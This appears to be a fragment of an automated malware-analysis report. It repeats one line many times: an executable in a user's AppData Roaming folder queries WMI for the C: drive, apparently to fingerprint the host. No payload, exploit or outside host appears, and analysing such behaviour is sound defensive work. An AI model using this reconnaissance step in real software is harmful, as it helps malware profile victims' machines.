Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
